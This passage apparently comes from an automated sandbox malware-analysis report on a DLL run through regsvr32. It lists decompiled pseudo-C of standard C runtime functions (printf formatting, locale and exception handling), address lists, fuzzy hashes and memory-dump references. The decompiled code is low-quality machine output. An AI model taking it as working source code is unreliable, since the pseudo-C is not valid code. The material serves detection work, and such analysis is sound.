				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

RCC, xrefs: 000007FEF9D349D8
MOC, xrefs: 000007FEF9D349C8

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-4095683531
Opcode ID: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction ID: 45fc69fecf93984735d9c4b87304ebe4c96837b84e7424b4db74fc1719c3d08d
Opcode Fuzzy Hash: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction Fuzzy Hash: 83911D36619B8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
